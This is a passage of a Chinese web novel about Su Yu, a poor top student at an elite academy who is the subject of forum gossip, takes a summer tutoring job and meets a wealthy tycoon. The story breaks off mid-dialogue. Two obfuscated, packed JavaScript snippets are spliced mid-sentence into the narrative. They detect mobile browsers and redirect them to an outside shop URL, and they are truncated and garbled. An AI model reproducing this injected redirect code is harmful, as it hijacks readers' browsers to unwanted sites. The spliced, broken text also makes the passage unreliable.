《SS级救赎者与天龙人们的修罗场日常》 1. 天龙人们都被她耍得团团转? 九国联盟学府的论坛,一条加粗标题的帖子凌晨三点飘在论坛首页。 “号外号外,玉嫔飞升失败,连夜灰溜溜离校。有图有真相!” 虽然是凌晨三点,但作为全球综合实力最强的九大国集结最优质资源组建的至高学府,通宵的学子们比比皆是。联盟论坛又是开放论坛,很多其他高校的学生都喜欢跑到联盟论坛上聊天八卦,据新元1026年最新的统计,联盟论坛APP的流量早就超越了小兰书。 这篇帖子发布不过3分钟,点击量已经超过10万。 帖子里面,的确是联盟军校文学院那气势不凡、古典十足的巨大复古铜门,门外停着一辆加长轿车,虽然是模糊抓拍的照片,依稀可见劳斯莱斯的醒目车标。 车门外,戴着白手套的司机打开着车门,一道纤细的身影提着长而坠地的白色长裙裙摆,正要上车。 即便照片十分模糊,也能看出来那道纤细的影子姿态优雅,是个美人的轮廓。 “不愧是玉娘子,照片这么糊,都那么美。” “不然怎么把贵校那些龙傲天们耍得团团转?” “楼上天真了,玉儿这么可怜,天不亮就偷偷走了。估计是被打入冷宫了。” “我早就说过,左右逢源,哪有这种好事。R2没见过几个底层绿茶,图新鲜被她拿捏了。玉玉不知足,又去勾搭Y家和L家,连封闭针和超雄都敢惹,脚踏这么多只船,哪有不翻的?看,这么快就被看透捞女本质,降为庶人了吧?” “别这么说,我玉辣么美,辣么纯。错就错在我玉只有一个,爱玉的人儿太多!” “普通人哪配得上爱玉护玉?” “一个个丫鬟小厮的命,还操心起玉娘娘了?人家只跟龙傲天们说话,你们配得上担心玉娘娘?没看见人家半夜溜走,坐的还是全球限量100辆的劳?” “我不信,玉玉万千宠爱在一身!龙儿们爱玉爱的要死要活,怎么能如此绝情,让玉半夜一个人落寞离校!” “一个个黑装粉的!我才是玉玉的真爱粉!不知道玉的老家是炎之国最穷的N省,还是最穷的镇嘛?龙傲天们也嫌寒碜吧,一个个都不想沾染穷酸气,不敢相送而已!爱在心,腿难迈!” “什么爱不爱的?楼上是复古潮,看上个纪元的琼巨巨的小说看多了吗?简直是古生物研究所跑出来的。最次的容家,钱味那么重,那么俗,资产是A20往上的,也就砂之国那堆王子们比R家有钱了,更不要说Y家、L家这种老华族,别看他们围着玉娘娘转,真要他们娶玉嫔,你看谁会娶一个这么个家世寒碜的女人?肯定跑得远远的。” “楼上别这么说,上周R2不是就退了跟冷家的婚约?说是说服R1,要娶玉儿当R家二少奶奶呢。” “我哭死,R2好痴情一男的!长得玉雪可爱的,本来以为玩的很花的,竟然这么纯情?龙傲天也有真情在?” “别说R2了,我可是亲眼见到,上个月夏青晚会上,玉娘子临时救场,弹了首演奏级的琵琶曲,是旧纪元传下来的春江花月夜,跟夏季的主题是对不上。但那炫技厉害的,轮指真的就是大珠小珠落玉盘,如听仙乐耳暂明。封闭针坐在第一排,立刻站起来为她鼓掌。” “我也看到了啊,封闭针太隐忍了,我都看到他眼睛里的星星。啊,那不是星星,是爱的火光。” “楼上过分了,封闭针清心寡欲,又不是R2那种没见过几个女人的小伙子。人家封闭针坐第一排,你还能看见他眼睛?” “附议。封闭针那种看起来修无情道走火入魔的,还能看上女人?之前不是说封闭针和超雄相爱相杀,他们俩之间不是有各种?的故事吗?我站针雄CP,可逆不可拆!但是,说回正题,封闭针和超雄跟玉娘好像都没有接触吧?” “楼上,有实锤接触的只有R、Y、L。封闭针和超雄跟她的事,只有捕风捉影。封闭针的未婚妻十年前意外嘎了后,封闭针就对Y家表忠心,离所有雌性生物三米远,毕竟未婚妻本来是Y家的准继承人啊,封闭针肯定不想放弃Y家!” “Y家可是老华族的首席,封闭针为野心苦守贞操,我哭死。但封闭针那么抗拒雌性生物的接近,跟超雄之间真的没有什么吗?” “我也觉得,封闭针跟超雄有阵子同进同出的,要不是超雄忽然空降,做了九国联盟委员会教育大臣的首席属官,兼任联盟学府的青联议事长,封闭针也不会来联盟学府做这个副秘书长。我觉得封闭针和超雄之间肯定有什么!” “楼上,量子场感应嘛?还是您的GAY达作响?” “楼上,请相信男人的直觉。毒唯只对真嫂子破防。我倒是没觉得封闭针和超雄之间怎么样,但是能感受到封闭针和超雄,对玉嫔的确不一般。” “别扯那些了。封闭针和超雄岂是凡人能够议论的?R2不是要和玉嫔订婚吗?封闭针都快三十了,超雄也二十八了,玉娘娘年方十八,也就R2正是青春芳华,与娘娘相配。” “R2也不看看苏玉能看得上他?封闭针什么样的人,超雄什么样的人,R2跟他们俩比起来,还是弱了。再说还有新八卦,前几天,容大买的一套价值千万的高奢限量版珠宝,转天就在苏玉身上了?” “楼上!您竟然不避尊者讳!我哭哭!还没八出新的料,此贴就夭折了!小拳拳锤楼上!” 果然,自“苏玉”这个名字出现后,还不到30秒,这个帖子就消失了。 苏玉当然没空看论坛,她刚下了车,这是九大国通衢之城“白兰都城”郊外的一处豪华别墅。 她来此,也没有联盟论坛APP上那些八卦描绘得那么活色生香。 苏玉是为了给她的东家——白兰都的富婆姐姐柳眉的女儿做暑期家教,明天开始,就是苏玉的第一个大一暑假,她来给柳眉的女儿如如当家庭教师,教她古典琵琶。 之所以半夜离开,是因为白天离开的话,围观和八卦的人恐怕会更多。 凌晨四点半,柳眉亲自到大门口接苏玉进门,她给苏玉介绍为苏玉安排的房间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17026956|194468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,这一个月的暑期,苏玉就住在这件自带厨房、浴室和洗手间,还有一个内置小钢琴房的“单人间”。 虽然是别墅中的一个“单人间”,但也有将近100平方米的面积。 柳眉穿着一套真丝睡衣,脸上没有化妆,年近四十岁的她保养得宜,眼尾只有两三道不明显的细纹。虽然是白兰都城排名前100位的富商,素日杀伐决断,但柳眉面对年方十八岁、气质澄澈的苏玉时,还是收敛了强势的气场,只是个温柔的大姐姐的模样。 当然,柳眉对苏玉好,也是因为苏玉在刚刚上大学时,无意间救了柳眉的女儿柳如如,从此有了一份平等的情谊。 苏玉不得不感慨,同样是人,自己从小在炎之国的偏远小镇长大,父母在一次意外中去世后,她住着一套不到40平方的房子,上了联盟高校后,因为她是炎之国第一名的身份入学,有了一套分配给特优生居住的60平方的宿舍,已经感觉到了前所未有的幸福。 然而,此时此刻,柳眉一套几千平方的别墅中,留给她这个贵客的“单人客房”就有一百平方,简直刷新她的认知。 这也难怪,容若雪会自信的认为,她一定会感激涕零、毫不犹豫的与他订婚。毕竟容家是炎之国的大富豪之家,而容若雪,不仅长相清俊,作为容家现任掌门人唯一的亲亲弟弟,容家二少爷将来能够继承容氏五分之一的净财产,至少是炎之国财富前五十位的富人。 她,一个边城小镇做题家,连联盟学府的学费都交不出,靠着炎之国第一的考试成绩,获得免学费资格才入学,她有什么不乐意的?又怎么可能拒绝呢? 但是苏玉知道,容若雪才十九岁,炎之国法度之下,二十岁才成年,容若雪的监护人是年长他八岁的大哥容卿沉。 容若雪退婚也好,想和苏玉订婚也好,都由不得他自己做主,在容家真正的话事人——容卿沉的眼中,容若雪这些行为不过是小孩子一时兴起,不可能当真。 苏玉当然也不会当真。但是容卿沉若是甩给她一张卡,说卡里面是一千万盟币,女人,收下钱赶紧离开我弟弟! 苏玉觉得自己一定会很高兴的!虽然有点对不起容二,但她与容二之间的确没有什么啊! 她承认自己爱慕荣华富贵,不然她也不会天天刷题通宵,打着鸡血拼出了炎之国第一的入学成绩,代价是依靠着摄入大量加了白糖的廉价咖啡粉和碎茶叶提神,她考试结束时发现自己体重已经超标。 她苏玉是什么人?目标明确、爱慕富贵。九国联盟学府中,多半是九大国高层政商阶层的孩子,她当然需要依靠美丽的外表吸引这些人的关注,得到更多的机会。 苏玉从不羞涩于承认她的目的性强。她硬是靠着每天只吃3只苹果,半个月就瘦回了原始体重,身材曼妙,五官清晰,容色动人。 于是,她的故事就从半年前——新元1025年9月人生第一次买了昂贵的飞艇票,离开炎之国最贫穷的N省,飞到全球第一都城,迈入全球最高学府,正式开始了。 2. 论坛热帖与全糖珍珠奶茶 凌晨三点十七分,九国联盟学府论坛,那条加黑加粗的《号外号外,玉嫔飞升失败,连夜离校。有图有真相!》的帖子,在点击量突破十万后,回复火热,各种八卦乱飞,回帖数千条的巅峰时刻,忽然消失了。 是那种物理学意义上的彻底消失——连带着三分钟前所有点击过这个链接的用户的浏览记录,一起从数字世界里被抹除干净,一点痕迹都找不回来。 “卧槽???!!!” “谁说玉嫔离宫修行?这捂嘴捂的,妈妈我怕我账号没了!” 吃瓜聊天群瞬间炸了。 【联盟吃瓜一线群(437人)】 机甲维修:谁存档了???我他妈才刚看到糊照的玉嫔侧影! 文院情报科:还没来得及截图……帖子消失前最后一条回复是“小拳拳锤楼上”,整个楼立刻没了。 法院律政先锋:根据《九国联盟数据空间安全管理条例》,这种级别的数据抹除,至少需要行政管理5级以上的权限才能做到。所以懂得都懂…… 下面回复的人跟刷了一排“懂者自懂”的表情包。 而此刻,帖子里的女主角苏玉,正坐在那辆被拍到的加长版劳斯莱斯幻影的后座上,慢条斯理地嗦着一杯全糖加双份黑糖珍珠的热奶茶。不愧是九国共都白兰都城,奶茶里加的也不是小镇里喝的廉价代糖,是真正古法制作的蔗糖。 过去十八年的贫穷让苏玉,沉溺于这种甘蔗制作的淳朴甜味,点奶茶时,她永远选择全糖——并不需要介意这点热量。 贫穷让人无法抗拒高热量高糖分高油脂的食物,这就是幸福的味道啊。 吸管“滋溜”一声吸上来三颗黑糖珍珠,她满足地眯起眼。 这位在论坛中被封为“玉嫔”的神秘女子,不过是个爱慕荣华富贵、酷爱高热量食物的十八岁少女,苏玉穿着简单的白色棉布长裙,头发以一支简单的木簪松松挽在脑后,脸上未施粉黛,肤色白皙中透着些营养不良的青色,五官无可挑剔,清透如同青玉。 难以想象这个抱着超大杯热奶茶,满足的刷着APP的清冷少女,是那热帖里“把龙傲天们耍得团团转的顶级绿茶”。 车子驶离联盟学府所在的“学府山”,穿过凌晨空荡的跨海大桥,驶向白兰都城郊外的别墅区。黎明的黑暗中。九国联盟的旗帜在微风中猎猎作响,远处天际逐渐泛起一层鱼肚白。 苏玉点开手腕上的智机芯片,手心浮现的全息屏幕上是那个已经消失的加黑热帖的截图—— 她早就设置了自动截长屏,指尖滑到最热的那条回复: 【用户“封雄是真的”】:封闭针和超雄跟她的事,只有捕风捉影。封闭针的未婚妻十年前意外嘎了后,封闭针就对Y家表忠心,离所有雌性生物三米远,毕竟未婚妻本来是Y家的准继承人啊,封闭针肯定不想放弃Y家! 苏玉挑了挑眉。封闭针?这些代号倒是很好猜。 与此同时。 【联盟吃瓜一线群】各种信息疯狂跳出。 有人嚷嚷着没截图保存帖子,但是她才不会发截图给他们呢。 她用小号“玉嫔飞升了吗”在吃瓜群回复: “笑死,有些人嗑CP魔怔了吧?封闭针怎么可能跟大一新生有交集?封闭针那天站起来鼓掌,纯粹是因为他腰椎间盘突出,我亲眼看到他后腰别着的止痛喷雾掉地上了——人家只是坐太久腰椎间盘突出,站起来活动一下?” 她一回复,下面冒出十几条绷不住的“哈哈哈”。 “这么一说,封闭针在我眼中瞬间不香了……” “怎么也是,快三十的老登,他又拒绝基因类产品,早年在军队里受了不少罪,肯定会老的快……” “楼上不许这么说,封闭针那芝兰玉树一般让人春心荡漾、小鹿乱撞的模样,多让人心疼,还能再打二十年!” “发现,封闭针梦女出没!” “醒醒吧,封闭针这个年纪已经是炎之国的十一人之一了,他的野心,你们看不懂?人家肯定要守着Y族大小姐未亡人身份,获得Y全族的鼎力支持的!” “封雄CP+1!封闭针才没空管玉嫔这样的莺莺燕燕,搞事业的男人最美丽,他跟超雄才是真的!” “超雄更吓人,你不知道上次青联委员会,超雄直接掀桌子,吓死人了!” “超雄不美味吗?俊美古典系的长相,和那暴躁癫狂的强势性格,反差萌绝绝子!” “最后还不都是玉嫔的裙下之臣?嘻嘻嘻……” “封闭针和超雄都不一定认识玉嫔吧?不过是因为玉嫔长得美,那些人随便拉郎,实锤的只有R2天天追在玉嫔身后跑吧!” 苏玉关掉屏幕,靠回真皮座椅里。 车子驶入“云栖”别墅区的大门。这里是白兰都城最顶级的富人区之一,安保森严。柳眉的别墅在深处,是一栋融合了现代极简和古典园林风格的三层建筑。 凌晨四点半,别墅大门前的感应灯自动亮起。 柳眉披着一件香槟色的真丝睡袍,赤脚站在门口的石阶上。她容貌秀美,即使素颜也透着一股养尊处优的精致感。看见车子停下,她快步走过来,亲自拉开了后座车门。 两人并肩走进别墅。柳眉亲自带她到二楼东侧的房间——说是“客房”,实则是个自带小客厅、厨房、浴室和独立阳台的套间。最绝的是,房间里还有一个小小的琴房。 “知道你爱弹琵琶,特意准备的。”柳眉带她进了琴房,除了一架钢琴外,琴房还放着一把古典琵琶,“琵琶是托人从炎之国旧货市场淘的,不是什么名品,但音色还可以。” 苏玉走过去,手指轻轻拂过琵琶的琴弦。 “谢谢眉姐。” “跟我还客气什么。”柳眉靠在门框上,笑容明媚,“那你先休息。如如还在睡,家教从下午开始就行。” “好。”苏玉乖巧颔首。 门关上后,苏玉走到落地窗前,看着窗外逐渐亮起来的天色。她从随身的小行李箱里,拿出一个老旧的铁皮盒子。 她打开盒子,里面有一沓厚厚的、边缘已经磨损的试卷,一支用到只剩指甲盖长度的铅笔头,还有一张泛黄的照片——照片上是一对笑容温和的青年夫妇,夫妇中间站着个穿碎花裙的小女孩,女孩怀里抱着一把比她人还高的琵琶。 苏玉盯着照片看了很久,她坐到钢琴前,掀开琴盖,手指落在黑白键上。 弹的是《春江花月夜》的旋律——用钢琴弹琵琶曲,怎么听怎么奇怪。但她的手指灵活得惊人,音符从指尖流淌出来,竟然真的模拟出了琵琶才有的“大珠小珠落玉盘”的质感。 弹到一半,她停了下来,低头看着自己的右手。虎口处有一道很淡的疤痕,像是被什么利器划伤过。她用力握了握拳,疤痕微微发白。 手腕间植入的智机芯片震动了一下。 苏玉点开,全息屏幕弹出,是一条加密信息,发信人ID是一串乱码 “帖子已处理。但有人存档了照片,需要溯源清除吗?” 苏玉想了想,回复:“不用。留着吧。拍得挺好看的,虽然照片糊,但有氛围感。比我本人好看。” 对方发来一串省略号,似乎十分无语。 苏玉笑了,重新看向窗外。天彻底亮了。 而此刻,九国联盟学府的某个小型会议室里,两个男人正面对面坐着。 一个男人穿着挺括的藏青制服,肩章上缀着九国联盟的星辰徽记,黑发黑眼,气质清冷,如玉山寒潭。虽然长相极为柔和清俊,但漆黑的眼睛没什么情绪。他是封甄,九国联盟学府的副秘书长,正是论坛里被称为“封闭针”的男人。 另一个男人五官如同旧纪元的东方水墨画,古典优美,黑发灰眸,面庞线条有着沉静如水的美感,只是他的黑色衬衫领口解开两颗扣子,低低敞开,有着几分玩世不恭的倦怠感。他是九国联盟教育部大臣的首席属官(联盟教育系统的第二号人物),也是联盟学府的青联议事长——玄辰 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“就这些?”玄辰惊讶于封甄的高度简洁概括,不死心的继续追问,“那你为什么那天晚上,要站起来给她鼓掌?” 封甄依旧深色淡然:“我腰不好。” “少来。”玄辰嗤笑,身体前倾,声音压低,“我查过监控。那天晚上,你在站起来给她鼓掌之前,看了三次时间——你根本不是被音乐打动,你是在等什么。” 会议室瞬间陷入寂静。窗外的光透过百叶窗的缝隙,在封甄脸上切出明暗交替的光影。 封甄面无表情,依旧是那副冰雪之姿的模样。 良久,他说:“玄辰,有些事情,你不知道比较好。” 玄辰盯着封甄看了几秒,忽然大笑起来。 “行,我不问。”他站起身,走到窗边,“不过那个苏玉,她昨晚离校的车,是柳眉派去的。” “对,就是那个柳眉。”玄琅转过身,笑容玩味的看着封甄,“白兰都城排名前一百的富商,十年前差点破产,后来不知怎么起死回生,如今生意做得风生水起。更重要的是……柳眉,是雪国人。” 封甄似乎被“雪国”二字触动神经,这个不苟言笑的男人缓缓起身,走到全息投影前。他调出苏玉的入学档案——照片上的少女穿着洗得发白的校服,对着镜头露出拘谨的微笑。和论坛里那张模糊的提着裙摆上车的侧影,判若两人。 “她在伪装。”封甄说。 “或者说,”玄辰走回桌前,“她在扮演。” “扮演什么?”封甄问。 “扮演一个……从底层爬上来的、靠美貌和智慧跨越阶层的,可怜而令人着迷的——” 玄辰笑道:“猎物。” 封甄看着他:“那你呢?你想做什么?” 玄辰笑了,他懒洋洋地靠回椅背:“我就是好奇,这么一个浑身是谜的小女孩,她到底想要什么?” 他看向窗外,晨光已经完全铺满了学府山。 “而且,论坛有句话说得对。”玄辰又说,“玉嫔确实极美,再糊的图都挡不住的美。” 封甄没说话。 与此同时,云栖别墅里。 苏玉弹完最后一个音符,点开自己腕间智机芯片中的一个隐藏加密相册。 相册里只有一张照片。华丽的宫殿,水晶吊灯,穿着雪国传统服饰的小女孩,还有站在她身边的青年男子。 苏玉盯着照片看了很久,然后按下了删除键。 全息屏幕弹出确认提示: “确定永久删除此照片?” 她点了“确定”。照片消失了。 就像那个论坛帖子一样,消失得干干净净。 苏玉放下手机,走到浴室,冰凉的水扑在脸上,她抬起头,看着镜子里那张湿漉漉的、美丽而泛着一种不健康的青白色的脸。 窗外,太阳彻底升起来了。 “苏玉,你到这里到底为了什么?什么又是属于你的?你要拿回的到底是什么?”她问镜中的自己。 3. 霸总说“一千万,离开我弟弟” 自动温控的奢华单人间果然让人一夜好眠,苏玉睡到上午十点才醒。 不是自然醒,是被饿醒的—— 昨晚离校前只啃了一个苹果,凌晨那杯奶茶提供的糖分早就消耗殆尽。 苏玉躺在床上盯着天花板的水晶吊灯发了三分钟呆,然后一个鲤鱼打挺坐起来,光着脚冲向厨房。 柳眉给她的独立小厨房配置齐全,打开双开门冰箱,里面早已塞满了各种食材。 苏玉打开冷藏室,看见了整排的有机牛奶、无菌鸡蛋、和牛牛排、鱼子酱,以及一些她叫不出名字的包装精致的食材。 她沉默了三秒,然后“砰”地关上了门。 苏玉,不要被诱惑。由俭入奢易,等暑期回校了,由奢入俭难啊。 吃惯了和牛鱼子酱,可就再也吃不了泡面了。 转而打开冷冻室。 冷冻室里除了几盒闻绮冰淇淋,空空如也。 苏玉叹了口气,从行李箱里翻出一袋速食燕麦片——联盟学府的超市打折时买的,五盟币一大包,够吃半个月。她烧了壶热水,泡了满满一碗燕麦片,又加了行李箱里面最后一包蓝莓干,端着碗坐到钢琴前的小圆桌上。 燕麦没什么味道,但管饱。 何况加上蓝莓果干的调味,有着复古料理的健康感,口感扎实。 她一边吃,一边打开植入腕间的智机芯片。 凌晨飘在九国联盟学府论坛的那个关于她的八卦帖子虽然消失了,但余波未平,各种八卦贴猜测帖雨后春笋般冒了出来。 遥想在炎之国小镇做小镇第一做题家时,她两耳不闻窗外事,最多在小兰书上刷刷女子高中生如何变美、如何刷题通宵第二天还能不瞌睡、还有各种联盟明星娱乐八卦,偶尔看看粉圈吵架。 没有想到的是,进入全球最高学府后,她竟然刷起了自己的八卦。 【理性讨论】嫔宫娘娘半夜离校的三种可能性:1.被某大佬暑期包养2.家里出事3.怀孕养胎(我瞎说的) 【技术分析】那张糊图的车牌号我放大处理了,是云栖区的,懂的都懂。 【CP粉破防实录】封雄女孩今日大破防:毒唯只对真嫂子破防,正主拆CP,我哭死 苏玉饶有兴致地刷着,封闭针是联盟学府的副秘书长封甄,但人家只是兼职,封甄的身份很多,最主要的身份是九大国综合实力最强的炎之国最高决策机构“十一人议事会”的十一人之一,而超雄则是最高学府的青联议事长玄辰,玄辰更重要的一个身份是雪国的实际掌权人——摄政长公主所任命的监国议事长(在国王、长公主均缺席的情况下,决定雪国一切事务),有很多八卦说玄辰是雪国长公主的儿子,但玄辰的官方身份只是雪国的监国议长,他是否真是雪国王室子嗣,并没有实锤。 封甄和玄辰都是所有人可望不可及的人物。 他们在最高学府的职位已然凌驾世间九成的人物,然而无论是联盟学府的副秘书长还是青联议事长,这样的高位都并非他们最主要的身份。 第一强国炎之国的十一人之一,综合实力在九国中排名第三的雪国的第三号人物,这才是他们最显赫的身份。他们是位于这个世界最顶端的存在。 因此,苏玉虽然凭借出众的外貌和几次公开活动的巧思,成为联盟学府流量度极高的人物之一,却与封甄、玄辰这样的龙傲天之傲天之间,隔着牢不可破的次元壁。 有好事者在【封雄女孩】帖子下面回复:“放心,玉嫔只是个意外。封闭针和超雄才是天生一对,超雄每次发疯,都得让封闭针打一针,才能镇定。封闭针每每出现时,都是一副鳏夫死感,只有雄给他带来活人感。封雄CP锁死!” 回复秒被赞到热评第一。 下面吵成一团: “楼主真相了,封是雄的针,雄是封的药。怎么感觉开起车来了……” “那天会议他俩对视的眼神都拉丝了!” “那是超雄想抽烟,被封闭针瞪了好吗?哪只眼睛看到拉丝了?” 苏玉笑出声,又舀了一勺燕麦。 如果苏玉是联盟学府的新晋“流量小花”,昙花一现,那么封闭针和超雄以及其他几个傲天之傲天,才是真正主宰联盟学府流量的“常青树”呀。 正刷着八卦,一个陌生号码打了进来。 她盯着全息屏幕看了两秒,接起:“喂?” “苏玉?”电话那头是个年轻男声,带着点小心翼翼的试探,“我是容若雪。” 苏玉把勺子放下:“二少有事?” “我……我看到论坛了。”容若雪的声音有点急,“你没事吧?是不是有人欺负你?你告诉我,我帮你——” 苏玉打断他,“我很好,谢谢关心。” 虽然不知道为什么容若雪总是担心她被欺负,但是容二也算是好意吧。 “可是你半夜离校……” “暑期兼职,”苏玉语气平静,“给一个朋友的孩子做家教。” 电话那头沉默了一会儿。 “是因为我吗?”容若雪声音低下去,“因为我退婚的事,让你被议论……” “不是。”苏玉说得很干脆,“和你没关系。” 苏玉想,有些误会还是挑明的好。容二退婚这事的确跟她无关,容二自己也知道,那是他大哥觉得联姻对象失去价值了,借着容二在春日典礼上追求苏玉的事,给容二退婚,实质上是容大想给容二重新挑个有力的岳家。 毕竟封甄十年前还查无此人,就是靠着与老华族之一的元家继承人订婚,得到老华族的鼎力支持,如今才成为站在炎之国最顶端的政客之一。 容大不让容二学习经商,就是想要容二走出一条政客的道路,巩固容家的根基。 “苏玉,我……” “容二,”苏玉站起来,走到窗边,“如果没别的事,我先挂了。还有,以后不用给我打电话了。” 她可不想被莫名其妙卷入那种刻毒的八卦,明明是容大一早就准备好了给容二退掉商业联姻的婚事,给容二找个老华族的岳父,自己却被利用了当做借口。虽然容二不是故意,但她也觉得这事搞成“玉嫔逼婚失败,飞升不成”的八卦,简直是无妄之灾。 “等等!”容若雪急了,“我大哥想见你!” 苏玉手指一顿。 容卿沉。 容家真正的掌权人,那个年长容二八岁、手腕铁血的容家话事人。 “什么时候?”她问。她总不能白白吃亏,让容大利用她给容二退婚,事实上她跟容二之间话都没说过几句。 “今天下午三点,在白兰都中心的‘云顶’餐厅。”容若雪语速很快,“苏玉,我大哥他……他可能会说一些不太好听的话。但你别怕,我会陪着你的,我……” “不用。”苏玉说,“我自己去。” “苏玉——” “地址发我。”她挂了电话。 三秒后,短信进来,是一个定位。 苏玉盯着那个地址看了几秒,然后打开衣柜——柳眉给她准备了不少衣服,都是当季新款,吊牌都没拆。她挑了一件最简单的白色衬衫和黑色半身裙,又配了一双平底鞋。 对着镜子看了看,太素,在财阀面前有点太单薄了吧。 她从行李箱里翻出一条细细的水晶链子戴上,又涂了点淡樱色的唇蜜。 好了,看起来像个清纯乖巧、人畜无害的穷学生了。 适合去见“给你一张卡,卡里一千万,离开我宝贝弟弟”的霸总。 苏玉收拾妥当,看了眼时间:十一点半。 她决定先解决午饭。 下楼时,柳眉正在客厅里喝茶,看见她,招招手:“小玉,来。” 苏玉走过去,柳眉推给她一个平板:“如如的课程表,你看看。她数学和物理比较弱,其他科目还行。另外,她最近在学编程,如果你懂的话……” “懂一点。”苏玉扫了眼课表。 柳眉有些惊讶:“你还会编程?” “自学的。”苏玉笑了笑,“小镇图书馆的电脑不要钱。” 柳眉眼神复杂地看着她,有点心疼的意味,她最终只是点点头:“对了,午饭想吃什么?我让厨房做。” “不用麻烦,”苏玉说,“我下午要出去一趟,随便吃点就行。” “去哪?” “见个人。”苏玉没细说。 柳眉也没多问,只是说:“需要车吗?我让司机送你。” “好,谢谢眉姐。” 午餐很丰盛,但苏玉吃得不多。一点半,司机准时等在门口。上车前,柳眉忽然叫住她,递过来一个小巧的银色胸针。 “戴着。”柳眉说,“防身的。” 苏玉接过,胸针背面有个很隐蔽的按钮。她看向柳眉,对方只是笑了笑:“白兰都不比军校,小心点总没错。” “谢谢眉姐。” 车子驶出云栖别墅区,朝市中心开去。 白兰都作为九国通衢之城,繁华得令人目眩。高耸入云的摩天大楼,全息投影的广告牌,街道上穿梭着各色人种。苏玉靠着车窗,安静地看着外面。 车子停在“云顶”楼下。这是白兰都最高的建筑之一,餐厅位于顶层五百米处,四面都是落地玻璃,可以俯瞰整个城市。 苏玉下车,抬头看了看那栋高耸入云的建筑,她走进了旋转门。 侍者引她到预定位置——靠窗的卡座,一个男人已经坐在那里了。 容卿沉。 和出现在各种财经新闻上的儒雅形象有点差别,容卿沉真人五官清俊,但更显冷峻。他穿着剪裁合体的深灰色西装,手里拿着一份文件在看,金边眼镜后的浅褐色眼睛没什么情绪。 听见脚步声,他抬眼。 苏玉走过去,在他对面坐下。 “容先生。”她开口。 容卿沉合上文件,打量她。目光很直接,带着评估的意味,从上到下扫了一遍。 苏玉任由他看,甚至弯了弯嘴角。 “苏小姐,”容卿沉开口,声音低沉,“很准时。” “守时是美德。”苏玉说。 侍者过来递菜单,容卿沉没接:“两杯冰水,谢谢。” 等人走了,他才重新看向苏玉。 “我弟弟的事,你知道多少?” “知道他在追我,”苏玉说,“也知道他退了冷家的婚约。” “还有呢?” “还有,”苏玉顿了顿,“知道他不该这么做。” 容卿沉挑了挑眉:“哦?” “容二少才十九岁,未成年。他的婚约是家族联姻,关系到容家和冷家的合作。”苏玉语气平静,“他退婚,损失的不只是容家的面子,还有实际利益。作为容家继承人之一,这是不负责任的行为。” 虽然她知道容大是为了实际利益,在背后推波助澜了退婚一事,并将锅扣到了苏玉这个冤大头身上,让她成为“祸水”,把冷家仇恨拉到她身上。但是为了卡里一千万的发生,她还是得按照容大的安排来说。 容卿沉看着她,没说话。 苏玉继续说:“所以容先生今天找我,是想确认我是不是那个蛊惑他的‘祸水’。如果是,您大概会给我一笔钱,让我离开他。如果不是,您可能会警告我,不要妄想攀高枝。” 容卿沉沉默了几秒。 然后他忽然笑了——不是那种温和的笑,而是带着点嘲讽的、冰冷的笑。 “苏小姐很聪明。”他说,“但你说错了一点。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17026958|194468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “哪一点?” “我今天来,不是给你钱,也不是警告你。”容卿沉身体前倾,手肘撑在桌面上,“我是来雇佣你的。” 苏玉愣住了。 “雇佣我?” “对。”容卿沉从西装内袋里拿出一张卡,推到苏玉面前,“这里面有五百万盟币。我要你,继续让我弟弟追你。” 苏玉盯着那张卡,没动。 啊—— 这么抠门?才五百万盟币,这还对得起你容家大财阀的身份吗? “为什么?”苏玉无语。 “因为他需要经历一次失恋。”容卿沉说得很直白,“容若雪从小到大要什么有什么,没受过挫折。我需要让他遭受‘挫折’,然后……” 他顿了顿:“然后让他明白,有些东西,不是靠任性就能得到的。” 苏玉听懂了:“您要我做那个‘他得不到的东西’?” “对。”容卿沉说,“让他追你,让他投入感情,然后在你这里碰壁。这对他来说,是一次必要的情感教育。” 苏玉沉默了。 她看着那张卡,五百万盟币,虽然配不上容家财阀的身份(至少得是一千万起步吧!),但对贫穷大一女生苏玉来说已经非常多了。足够她在联盟学府舒舒服服读完四年,甚至还能攒下一大半。 苏玉抬起头,看向容卿沉:“容先生。” “嗯?”容卿沉挑眉看她。 “您弟弟是人,不是您养的宠物。”苏玉说,“他有感情,会受伤。您用这种方式‘教育’他,不觉得残忍吗?” 容卿沉眼神冷下来:“那你在教育我?” “不敢。”苏玉把卡推回去,“但这笔交易,我不做。” “为什么?” “因为我不想成为任何人的工具。”苏玉站起身,“尤其是伤害别人的工具。” 她转身要走。 “苏玉。”容卿沉叫住她。 她回头。 容卿沉也站起来,走到她面前。他个子很高,俯视着她,那种压迫感让苏玉下意识后退了半步。 “你说你不想伤害别人?”容卿沉声音很轻,“那你想要什么?要知道,想要往上爬,就是把别人当做垫脚石踩在脚下的。” 男人冷笑:“没有下?何来上?” 苏玉抬头看着他。 阳光从落地窗外照进来,在他金边眼镜上反射出冰冷的光。 “我想要的东西,”她说,“您理解不了。” “比如?”容卿沉面无表情的看着她。 “比如尊重。”苏玉说,“比如不被当成棋子,不被算计,不被用金钱衡量价值。” 容卿沉盯着她看了很久。 然后他忽然又笑了——这次是真的笑了,虽然很淡。 “苏玉,你很有趣。”他说,“我弟弟眼光不错。” 苏玉没接话。 “这笔交易作废。”容卿沉收起那张卡,“但我想跟你做另一笔交易。” “什么?” 